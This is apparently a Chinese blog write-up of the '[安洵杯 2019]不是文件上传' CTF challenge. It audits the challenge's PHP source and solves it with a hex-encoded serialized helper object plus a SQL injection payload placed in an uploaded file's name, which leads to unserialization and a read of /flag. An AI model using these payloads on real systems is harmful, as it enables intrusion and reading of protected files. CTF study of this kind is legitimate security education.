• [安洵杯 2019]不是文件上传


    前言:

    遇到代码审计不要怕,往死里审

     题目是有给源码的,直接来看源码。

    show .php

    1. Show Images
    2. "stylesheet" href="./style.css">
    3. "content-type" content="text/html;charset=UTF-8"/>
    4. "center">Your images

    5. The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.p>

    6. <hr>
    7. php
    8. include("./helper.php");
    9. $show = new show();
    10. if($_GET["delete_all"]){
    11. if($_GET["delete_all"] == "true"){
    12. $show->Delete_All_Images();
    13. }
    14. }
    15. $show->Get_All_Images();
    16. class show{
    17. public $con;
    18. public function __construct(){
    19. $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
    20. if (mysqli_connect_errno($this->con)){
    21. die("Connect MySQL Fail:".mysqli_connect_error());
    22. }
    23. }
    24. public function Get_All_Images(){
    25. $sql = "SELECT * FROM images";
    26. $result = mysqli_query($this->con, $sql);
    27. if ($result->num_rows > 0){
    28. while($row = $result->fetch_assoc()){
    29. if($row["attr"]){
    30. $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
    31. $attr = unserialize($attr_temp);
    32. }
    33. echo "

      id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."

      "
      ;
    34. }
    35. }else{
    36. echo "

      You have not uploaded an image yet.

      "
      ;
    37. }
    38. mysqli_close($this->con);
    39. }
    40. public function Delete_All_Images(){
    41. $sql = "DELETE FROM images";
    42. $result = mysqli_query($this->con, $sql);
    43. }
    44. }
    45. ?>

    upload.php

    1. Image Upload
    2. "stylesheet" href="./style.css">
    3. "content-type" content="text/html;charset=UTF-8"/>
    4. "center">"https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150>

    5. "center">
    6. "upload" action="" method="post" enctype ="multipart/form-data" >
    7. "file" name="file">
    8. "Submit" value="submit">


  • include("./helper.php");
  • class upload extends helper {
  • public function upload_base(){
  • $this->upload();
  • }
  • }
  • if ($_FILES){
  • if ($_FILES["file"]["error"]){
  • die("Upload file failed.");
  • }else{
  • $file = new upload();
  • $file->upload_base();
  • }
  • }
  • $a = new helper();
  • ?>
  • helper.php

    1. class helper {
    2. protected $folder = "pic/";
    3. protected $ifview = False;
    4. protected $config = "config.txt";
    5. // The function is not yet perfect, it is not open yet.
    6. public function upload($input="file")
    7. {
    8. $fileinfo = $this->getfile($input);
    9. $array = array();
    10. $array["title"] = $fileinfo['title'];
    11. $array["filename"] = $fileinfo['filename'];
    12. $array["ext"] = $fileinfo['ext'];
    13. $array["path"] = $fileinfo['path'];
    14. $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
    15. $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
    16. $array["attr"] = serialize($my_ext);
    17. $id = $this->save($array);
    18. if ($id == 0){
    19. die("Something wrong!");
    20. }
    21. echo "
      "
      ;
    22. echo "

      Your images is uploaded successfully. And your image's id is $id.

      "
      ;
    23. }
    24. public function getfile($input)
    25. {
    26. if(isset($input)){
    27. $rs = $this->check($_FILES[$input]);
    28. }
    29. return $rs;
    30. }
    31. public function check($info)
    32. {
    33. $basename = substr(md5(time().uniqid()),9,16);
    34. $filename = $info["name"];
    35. $ext = substr(strrchr($filename, '.'), 1);
    36. $cate_exts = array("jpg","gif","png","jpeg");
    37. if(!in_array($ext,$cate_exts)){
    38. die("

      Please upload the correct image file!!!

      "
      );
    39. }
    40. $title = str_replace(".".$ext,'',$filename);
    41. return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
    42. }
    43. public function save($data)
    44. {
    45. if(!$data || !is_array($data)){
    46. die("Something wrong!");
    47. }
    48. $id = $this->insert_array($data);
    49. return $id;
    50. }
    51. public function insert_array($data)
    52. {
    53. $con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
    54. if (mysqli_connect_errno($con))
    55. {
    56. die("Connect MySQL Fail:".mysqli_connect_error());
    57. }
    58. $sql_fields = array();
    59. $sql_val = array();
    60. foreach($data as $key=>$value){
    61. $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
    62. $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
    63. $sql_fields[] = "`".$key_temp."`";
    64. $sql_val[] = "'".$value_temp."'";
    65. }
    66. $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
    67. mysqli_query($con, $sql);
    68. $id = mysqli_insert_id($con);
    69. mysqli_close($con);
    70. return $id;
    71. }
    72. public function view_files($path){
    73. if ($this->ifview == False){
    74. return False;
    75. //The function is not yet perfect, it is not open yet.
    76. }
    77. $content = file_get_contents($path);
    78. echo $content;
    79. }
    80. function __destruct(){
    81. # Read some config html
    82. $this->view_files($this->config);
    83. }
    84. }
    85. ?>

    简单审计 一下,在upload 页面会自动调用 helper .php 的功能,也就是说 upload 的基本功能都在helper.php 里。  所以我们主要就审计 upload.php 和 helper.php 

    按照流程,一步一步来 ,看到upload.php

    1. class upload extends helper {
    2. public function upload_base(){
    3. $this->upload();
    4. }
    5. }

    这里调用了 helper的upload方法,跟进一下。

    1. public function upload($input="file")
    2. {
    3. $fileinfo = $this->getfile($input);
    4. $array = array();
    5. $array["title"] = $fileinfo['title'];
    6. $array["filename"] = $fileinfo['filename'];
    7. $array["ext"] = $fileinfo['ext'];
    8. $array["path"] = $fileinfo['path'];
    9. $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
    10. $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
    11. $array["attr"] = serialize($my_ext);
    12. $id = $this->save($array);
    13. if ($id == 0){
    14. die("Something wrong!");
    15. }
    16. echo "
      "
      ;
    17. echo "

      Your images is uploaded successfully. And your image's id is $id.

      "
      ;
    18. }

    到这个函数 检查了 后缀只能是 jpg, gif,png,jpeg

    然后这里

    $array["attr"] = serialize($my_ext);

    这里把图片的信息 序列化了。然后 调用了 save () 保存。

    而且这个php文件还有个文件读取点

    1. public function view_files($path){
    2. if ($this->ifview == False){
    3. return False;
    4. //The function is not yet perfect, it is not open yet.
    5. }
    6. $content = file_get_contents($path);
    7. echo $content;
    8. }
    9. function __destruct(){
    10. # Read some config html
    11. $this->view_files($this->config);
    12. }
    13. }

    我们需要把 ifview 改成true      config改成 /flag

    看到 show.php 

    1. public function Get_All_Images(){
    2. $sql = "SELECT * FROM images";
    3. $result = mysqli_query($this->con, $sql);
    4. if ($result->num_rows > 0){
    5. while($row = $result->fetch_assoc()){
    6. if($row["attr"]){
    7. $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
    8. $attr = unserialize($attr_temp);

    函数 把所有 照片给反序列化出来。。

    简单构造下payload

    1. class helper {
    2. protected $ifview = True;
    3. protected $config = "/flag";
    4. }
    5. $a = new helper();
    6. $b = serialize($a);
    7. echo bin2hex($b);

    这里将反序列化后的结果进行16进制 是因为过滤了引号。

    0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

    看到这里先总结一下,我们上传图片的时候会给照片序列化存储,然后show 展示图片的时候会进行一次反序列化。

    进入正题:

    我们先来看这一部分。

    我们上传之后的图片 经过处理titile 会删掉后缀名 ,然后调用了 getfile函数,跟进,

     跟进check

     此时看到,我们的这个filename 是可控的,也就是说,我们可以传入的时候构造恶意的filename 来达到sql注入攻击的目的,title上面是我们传入图片删除掉后缀,加入filenam=a.png 那么title =a

    也就是我们构造的filename ,将恶意数据存储到title中,当去查看时,经过反序列化后就会将以构造的恶意的title 查找的值给输出出来。

    这样就清晰了

    首先是通过序列化去构造读取flag文件的payload,由于 过滤了引号,所以十六进制转换,再通过构造恶意的filename 进行sql攻击。

    payload:

    icp','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#

    之后访问 show.php 

    得到flag。 

     

     

  • 相关阅读:
    City2vec:一种学习人口迁徙网络知识的新方法
    Linux库的认知与使用
    dreamweaver网页设计作业制作 学生个人网页单页 WEB静态网页作业模板 大学生个人主页博客网页代码 dw个人网页作业成品简单页面
    Linux开发——Makefile 基础(九)
    简单shell批量文件转换gbk转为utf8编码
    springboot和vue:二、springboot特点介绍+热部署热更新
    SpringCloud-4-基础工程-创建服务提供者
    10-4 Skywalking介绍,二进制与docker部署Skywalking,Skywalking收集Java博客案例,Skywalking面板介绍
    Jenkins持续集成1
    运动控制器PSO位置同步输出(二):PSO模式详解
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126878781